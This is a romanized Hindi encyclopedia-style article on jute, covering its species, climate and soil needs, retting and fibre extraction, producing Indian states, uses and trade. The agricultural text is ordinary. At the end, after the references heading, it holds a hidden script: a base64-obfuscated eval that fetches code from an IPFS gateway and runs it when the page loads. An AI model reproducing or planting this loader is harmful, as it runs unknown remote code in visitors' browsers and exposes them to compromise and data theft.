जूट
thumb|250px|sookhati huee joot joot athava patasan aj manav jivan ke lie bahut hi mahattvapoorn ho gaya hai. joot shabd sanskrit ke 'jata' ya 'joot' se nikala samajha jata hai. yoorop mean 18vian shatabdi mean sabase pahale is shabd ka prayog milata hai, yadyapi vahaan is dravy ka ayat 18vian shatabdi ke poorv se 'pat' ke nam se hota a raha tha. vishv mean joot utpadan karane vale deshoan mean avibhajit bharat ka prayah ekadhikar tha, kintu vibhajan ke phalasvaroop is paristhiti mean antar p d gaya. joot paida karane vale pavana, bogara, maimanasianh, rangapur, malada, dhaka aur faridapur zile baangladesh[1] mean chale ge. ab vishv ke utpadan ka 40 pratishat bharat aur 50 pratishat baangladesh se prapt hota hai.
joot ke reshe
joot ke reshe do prakar ke joot ke paudhoan se prapt hote haian. ye paudhe 'tiliesiee kul' ke 'kaurakoras kaipsulairis' aur 'kaurakoras olitoriyas' haian aur reshe ke liye donoan hi ugae jate haian. pahale prakar ki fasal kul varshik kheti ke 3/4 bhag mean aur doosare prakar ki fasal kul kheti ke shesh 1/4 bhag mean hoti hai. inake bij se fasal ugaee jati hai. bij ke liye paudhoan ko poora pakane diya jata hai, par reshe ke liye pakane ke pahale hi kat liya jata hai. yah paudhe mukhyat: bharat aur pakistan mean upajae jate haian.
kaurakoras kaipsulairis
kaipsulairis kathor hota hai aur isaki kheti ooanchi tatha nichi donoan prakar ki bhoomiyoan mean hoti hai. kaipsulairis ki pattiyaan gol, bij aandakar gahare bhoore rang ke aur reshe safed par kuchh kamazor hote haian. kaipsulairis ki kismean phandook, ghaleshvari, phooleshvari, desihat, banbee di 154 aur ar 85 haian.
kaurakoras olitoriyas
olitoriyas ki kheti keval ooanchi bhoomi mean hoti hai. olitoriyas ki pattiyaan vartul, soochyakar aur bij kale rang ke hote haian aur reshe suandar sudridh par kuchh phike rang ke hote haian. olitoriyas ki kismean desi, tosah, arathoo aur chinasura grin haian.
utpadak desh
bharat mean sarvapratham prarambh hone vala udyog joot ka hi tha. desh ke bangal, bihar, u disa, asam aur uttar pradesh ke kuchh taraee vale bhagoan mean lagabhag 16 lakh ek d bhoomi mean joot ki kheti hoti hai. isase lagabhag 38 lakh gaanth[2] joot paida hota hai. utpadan ka lagabhag 67 pratishat bharat mean hi khapata hai. 7 pratishat kisanoan ke pas rah jata hai aur shesh briten, jarmani, fraans, itali, aur sanyukt rajy amarika ko niryat hota hai. amarika, misr, brazil, afrika adi any deshoan mean isake upajane ki cheshtaean ki geean, lekin bharat ke joot ke sammukh ve abhi tak tik nahian sake.
bhaugolik dashaean
joot ki kheti ke lie bahut hi savadhanipoorvak har krishi-karm kiya jata hai. isaki kheti ke lie nimnalikhit dashaoan ka hona avashyak hai-
jalavayu tatha tapaman
joot ki kheti garam aur nam jalavayu mean hoti hai. isaki kheti ke lie tapaman 25° se 35° seantigred aur apekshik ardrata 90 pratishat honi chahie. halki baluee, delta ki domat mitti mean kheti achchhi hoti hai. is drishti se bangal ki jalavayu isake liye sabase adhik upayukt hai.thumb|left|joot ke pe d khet ki jutaee achchhi honi chahie. bhoomi mean prati ek d 50 se 100 man gobar ki khad ya kanpost aur 400 pauand lak di ya ghas-pat ki rakh dali jati hai. purani mitti mean 30-60 pauand naitrojan diya ja sakata hai. kuchh naitrojan bone ke pahale aur shesh bijaankuran ke ek saptah bad dena chahie. potash aur choone se bhi labh hota hai. nichi bhoomi mean faravari mean aur ooanchi bhoomi mean march se julaee tak boaee hoti hai. sadharanataya chhitak boaee hoti hai. ab dril ka bhi upayog hone laga hai. prati ek d 6 se lekar 10 pauand tak bij lagata hai.
varsha
bij se aankur nikalane ke do tin mahine ke bad paudhe ko adhik jal ki avashyakata p dati hai. atah isaki kheti 150 se 200 semi. ya usase bhi adhik varsha vale bhagoan mean ki jati hai. 10 se 11 mah mean isaki fasal taiyar hoti hai, atah khetoan mean 6-7 mah tak pani adhik rahana chahie.
mitti
joot ki kheti se bhoomi bahut anupajaoo ho jati hai. is karan joot ki kheti unhian sthanoan mean ki jati hai, jahaan prativarsh nadiyaan upajaoo mitti lakar bichhati haian. atah pashchim bangal mean deltaee kshetr mean adhik joot paida kiya jata hai. kaanp evan domat mitti se yah khoob paida kiya jata hai, kintu usamean ekaroopata nahian rahati.
shram
joot ke lie saste mazadooroan ki avashyakata hoti hai, kyoanki taiyar paudhoan ko katane tatha bandal banane, pani mean s dane evan reshe nikalane adi ke karyoan ke lie adhik mazadoor chahie hote haian. is kary ke lie paryapt dhan bhi vyay karana p data hai. isilie yah zaroori hai ki in samast karyoan ke lie saste mazadooroan ko laya jae.
joot ki krishi
pashchim bangal mean joot ka utpadan adhikatar nadiyoan ke purane ya naye kagaroan par ubhari huee bhoomi aur baluee kinaroan par kiya jata hai. joot ke paudhoan se resha prapt karane ke lie inhean 20-25 din tak jal mean bhigokar s dane ke lie rakhana p data hai, atah uttam aur mithe jal ki bhi avashyakata hoti hai. bad mean ise pitakar dhoya jata hai aur phir bandal ko sukhakar usase reshe ko alag kar liya jata hai. bharat mean joot ka utpadan pashchim bangal, bihar, u disa, asam adi rajyoan tak hi simit haian, kyoanki yahaan ganga, mahanadi aur brahmaputr nadi dvara layi huee upajaoo mitti milati hai aur badh ke sath badalate rahane se isaki upajaoo mitti ka hras nahian hota. atah bina khad die in rajyoan mean joot ki kheti ki jati hai. isake paudhe ki lambaee 3 se 3.5 mitar tak hoti hai.
buvaee tatha kataee
isaki kheti us ubhari huee bhoomi par hoti hai, jo nadiyoan ke purane ya naye kagaroan ke karan ban jati hai. gartoan mean dhan aur joot ko bari-bari se bote haian. pashchim bangal mean bhoomi ke ooanche-niche hone par hi joot bone ka samay nirbhar rahata hai. nimn bhoomiyoan par faravari se march tak tatha uchch bhoomi par march se joon tak joot ki buvaee ki jati hai. jo fasal sabase pahale boee jati hai, usi ko pahale kata jata hai. vaise sabhi prakar ki fasal ke lie kataee agast se sitambar tak ki jati hai. phool jhar jane tatha phali nikal ane par hi fasal katani chahie, anyatha der karane se pachheti kataee se reshe mazaboot, par bhadde aur mote ho jate haian aur unamean chamak nahian hoti. bahut ageti kataee se paidavar kam aur reshe kamazor hote haian.
joot nikalana
kataee ke samay bhoomi ki satah se paudhe kat lie jate haian. kahian-kahian paudhe amool ukha d lie jate haian. aisi kati fasal ko do tin din sookhi zamin mean chho d dete haian, jisase pattiyaan sookhakar ya s dakar gir p dati haian. tab danthaloan ko garoan mean baandhakar pattoan, ghas-patoan, mitti adi se dhankakar chho d dete haian.thumb|250px|joot ko dhote kisan phir garoan se kachara hatakar unaki shakhadar chotiyoan ko katakar nikal lete haian. ab paudhe galae jate haian. galane ke kam mean do din se lekar ek mas tak ka samay lag sakata hai. yah bahut kuchh vayumandal ke tap aur pani ki prakriti par nirbhar karata hai. galane ka kam kaisa chal raha hai, isaki praranbh mean pratidin jaanch karate rahate haian. jab dekhate hai ki danthal se reshe b di saralata se nikale ja sakate haian, tab danthal ko pani se nikalakar reshe alag karate aur dhokar sukhate haian. resha nikalane vala pani mean kh da rahakar, danthal ka ek mootha lekar j d ke nikat vale chhor ko chhani ya muangari se mar-marakar samast danthal chhil leta hai. resha ya danthal tootana nahian chahie. ab vah use sir ke charoan or ghumakar pani ki satah par pat rakhakar, reshe ko apani or khianchakar, apadravyoan ko dhokar aur kale dhabboan ko chunakar nikal deta hai. ab usaka pani nicho d kar dhoop mean sookhane ke liye use hava mean taang deta hai. reshoan ki pooliyaan baandhakar joot pres mean bheji jati haian, jahaan unhean alag-alag vilagakar dravachalit dab mean dabakar gaanth banate haian. danthaloan mean 4.5 se 7.5 pratishat resha rahata hai.
prakar
bharat mean do prakar ki joot paida ki jati hai. 'chini joot' nadiyoan ke ubhare hue kinaroan ya nadi ke dvipoan mean boya jata hai. 'deshi joot' mukhy roop se halaki baluee, delta ki dumat mitti mean boya jata hai. bharat ke anek bhagoan mean ye do prakar ke joot sath-sath ugate haian. pratham prakar ka joot saphedi lie aur chamakila tatha achchha hota hai. joot ka resha do prakar ke paudhoan se prapt kiya jata hai. ye paudhe 'shvet joot' aur 'tosa joot' haian.
akar
joot sadharanataya chhah se lekar das phut tak lanbe hote haian, par vishesh avasthaoan mean 14 se lekar 15 phut tak lanbe pae ge haian. turant ka nikala resha adhik mazaboot, adhik chamakadar, adhik komal aur adhik safed hota hai. in gunoan ko khula rakhane se inaka hras hota hai. joot ke reshe ka viranjan kuchh sima tak ho sakata hai, par viranjan se bilkul safed resha nahian prapt hota. resha ardratagrahi hota hai. 6 se lekar 23 pratishat tak nami reshe mean rah sakati hai. joot ki paidavar, fasal ki kism, bhoomi ki urvarata, aantaralan, katane ka samay adi, anek batoan par nirbhar karati hai. kaipsulairis ki paidavar prati ek d 10-15 man aur olitoriyas ki 15-20 man prati ek d hoti hai. achchhi jutaee se prati ek d 30 man tak paidavar ho sakati hai.
utpadan kshetr
bharat mean joot ki ausat upaj 2,194 kilogram prati hektear hai. yah bihar mean sabase kam 1000 kilogram evan pashchim bangal mean 1,400 v asam mean 1,800 kilogram tak hoti hai. joot utpadan ke kshetr mukhyatah ganga, brahmaputr nadi ke delta mean pashchim bangal, bihar asam tatha meghalay mean haian. ye charoan rajy milakar kul joot kshetraphal ke 94 pratishat joot bote haian. shesh utpadan u disa, uttar pradesh aur tripura ke taraee vale bhagoan se prapt hota hai. desh ke any bhagoan mean isaki krishi bahut kam hoti hai. uttar-pashchimi bharat mean varsha kal mean 'san' namak any reshe vali fasal paida ki jati hai.
joot ki kheti dakshin ki or ganga ke muhane ke pas kam hoti hai, kyoanki yahaan bhoomi itani nichi hai ki joot ke lie anupayukt hai. pashchim mean dakshini pathar ki or bhi, jahaan patharili bhoomi adhik hai, joot ki kheti kam hoti hai. bharat mean joot ke utpadan mean pashchim bangal ka pratham sthan hai. yahaan desh ki kul upaj ka 73.95 pratishat joot utpann hota hai. doosara sthan bihar (13.02 pratishat) tatha tisara asam (6.07 pratishat) ka he. any rajy mean u disa pramukh roop se ullekhaniy hai.
joot ka jahaan 1960-1961 mean utpadan 41 lakh gaanthe tha, vah 2008-2009 mean badhakar 96 lakh gaanth ho gaya. ise mahattvapoorn upalabdhi mana jata hai. pashchim bangal se bharat ke utpadan ka lagabhag tin chauthaee joot prapt kiya jata hai, arthath joot utpadan mean is rajy ka pahala sthan hai. murshidabad, p. dinajapur, koochabihar, hugali, chaubis paragana, nadiya, jalapaeegu di, midanapur, barddhaman aur malda ziloan ki 85 pratishat bhoomi par joot boya jata hai, jahaan ganga aur brahmaputr nadi ke dvara upajaoo kaanp mitti jamaee jati hai. tapaman 36° se 40° tak rahate haian. ardrata ka pratishat 70 se 90 pratishat tak rahata hai. varsha ki matra manasoon poorv ke kal mean 250 semi. aur isake uparant ke kal mean 2500 semi. tak ho jati hai. inhian paristhitiyoan ke karan joot utpadan ke lie pashchim bangal ek adarsh rajy hai. yahaan desh ke samast joot ke utpadan ka 73.95 pratishat utpadan hota hai.
any pramukh rajy
asam mean aur surama nadiyoan ki ghatiyoan ke kachhar, dharaang, golapa da, kamaroop, lakhimapur, navagaanv, shivasagar ziloan mean joot boya jata hai. asam mean desh ka 6.07 pratishat joot utpadit hota hai.
meghalay mean garo, khasi, jayantiya pahadi़yoan, mikir aur uttari kachhar ki pahadi़yoan mean joot paida kiya jata hai.
bihar ke mukhy utpadak zile taraee kshetr se sanlagn haian. champaran, darabhanga, mujaphpharapur, samastipur, poorniya, saran, saharasa, bhagalapur aur muanger, jharakhand ke santhal paragana mean yah vishesh roop se paida kiya jata hai. bihar mean joot ki upaj ke antargat desh ke joot kshetraphal ka 17.1 krishi kshetr hai tatha 13.02 pratishat joot utpann kiya jata hai.
u disa mean tatiy bhagoan mean visheshakar bolangiri, patana, ghenakanal, ganjam, kalahaandi, kyoanjhar, koraput, balasor, katak aur puri ziloan mean joot boya jata hai.
uttar pradesh ke taraee kshetr tatha sarayoo aur ghaghara nadiyoan ke doaboan mean baharaich, devariya, barabanki, goanda, sitapur, lakhimapur-khiri, bijanaur ziloan mean joot paida hota hai.
- kuchh joot andhr pradesh ke vishakhapattanam aur shrikakulam zile mean; chhattisagadh ke rayapur zila; keral ke malabar tat; tripura aur manipur mean bhi paida kiya jata hai.
joot ka upayog
joot ke reshe se bore, hesiyan tatha paiankiang ke kap de banate haian. kalin, dariyaan, parade, gharoan ki sajavat ke saman, astar aur rassiyaan bhi banati haian. danthal jalane ke kam ata hai aur usase barood ke koyale bhi banae ja sakate haian. danthal ka koyala barood ke liye achchha hota hai. danthal se lugadi bhi prapt hoti hai, jo kagaz banane ke kam a sakati hai.
vyapar
vibhajan ke phalasvaroop bharat mean joot ki kami anubhav hone lagi, kyoanki joot utpadak kshetroan ka 73 pratishat tatkalin poorvi pakistan ko chala gaya, jabaki joot ke prayah sabhi karakhane bharat mean hi rahe. atah joot ki kami ko poora karane ke lie isaka utpadan badhaya jata raha. isake lie ghaghara, sarayoo, tapi, mahanadi adi ghatiyoan aur samudratatiy kshetroan tatha taraee pradesh mean joot ka utpadan badhane ke prayasoan mean saphalata mili hai. phir bhi abhi baangladesh se joot ka ayat kiya jata hai. avashyakata ke anuroop kuchh joot baangladesh, philipains, brajil adi deshoan se bhi ayat kiya jata hai. bharat se bahut hi alp matra mean kachche joot ka niryat sanyukt rajy amarika, ianglaind, soviyat roos, arab ganarajy, astreliya ko kiya jata hai. bharat joot se bane padartho ka niryat karata hai. varsh 1990-1991 mean 2.2 lakh tan joot se bane mal ka niryat kiya gaya, jisaka mooly 298 karo d rupaye tha. 2008-2009 mean desh se 1,279 karo d rupaye ka joot nirmit mal ka niryat kiya gaya.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>